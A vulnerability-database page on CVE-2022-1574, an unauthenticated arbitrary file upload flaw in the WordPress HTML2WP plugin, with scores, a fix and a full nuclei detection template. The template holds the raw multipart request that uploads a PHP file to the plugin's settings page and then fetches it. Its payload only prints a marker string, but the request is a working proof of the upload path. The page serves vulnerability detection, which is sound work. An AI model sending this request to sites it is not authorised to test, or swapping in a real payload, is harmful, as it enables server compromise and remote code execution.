HexBrain

Browse / CVEs / CVE-2022-1574

CVE-2022-1574· html2wp project / html2wp· CWE-352

WordPress HTML2WP <=1.0.0 - Arbitrary File Upload

criticalseverity
9.8CVSS score
12.2%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.

Impact

An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.

Fix

Update to the latest version of the plugin or remove it if not needed.

How to confirm it

Send: POST /wp-admin/admin.php?page=html2wp-settings ; GET /wp-content/uploads/html2wp/{{randstr}}.php
Positive when: status_code_1 == 302 and status_code_2 == 200 and contains(body_2, 'File Upload success')

Run it with nuclei: nuclei -id CVE-2022-1574 -u <target>

The full check
id: CVE-2022-1574

info:
  name: WordPress HTML2WP <=1.0.0 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.
  impact: |
    An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.
  remediation: |
    Update to the latest version of the plugin or remove it if not needed.
  reference:
    - https://wpscan.com/vulnerability/c36d0ea8-bf5c-4af9-bd3d-911eb02adc14
    - https://wordpress.org/plugins/html2wp/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1574
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1574
    cwe-id: CWE-352
    epss-score: 0.12194
    epss-percentile: 0.96199
    cpe: cpe:2.3:a:html2wp_project:html2wp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: html2wp_project
    product: html2wp
    framework: wordpress
  tags: cve,cve2022,wp-plugin,wp,fileupload,unauth,wpscan,wordpress,intrusive,html2wp,html2wp_project,vuln,vkev

http:
  - raw:
      - |
        POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 253
        Content-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990
        Connection: close

        -----------------------------7816508136577551742878603990
        Content-Disposition: form-data; name="local_importing[]"; filename="{{randstr}}.php"
        Content-Type: text/html

        <?php

        echo "File Upload success";

        -----------------------------7816508136577551742878603990--
      - |
        GET /wp-content/uploads/html2wp/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 302"
          - "status_code_2 == 200"
          - "contains(body_2, 'File Upload success')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from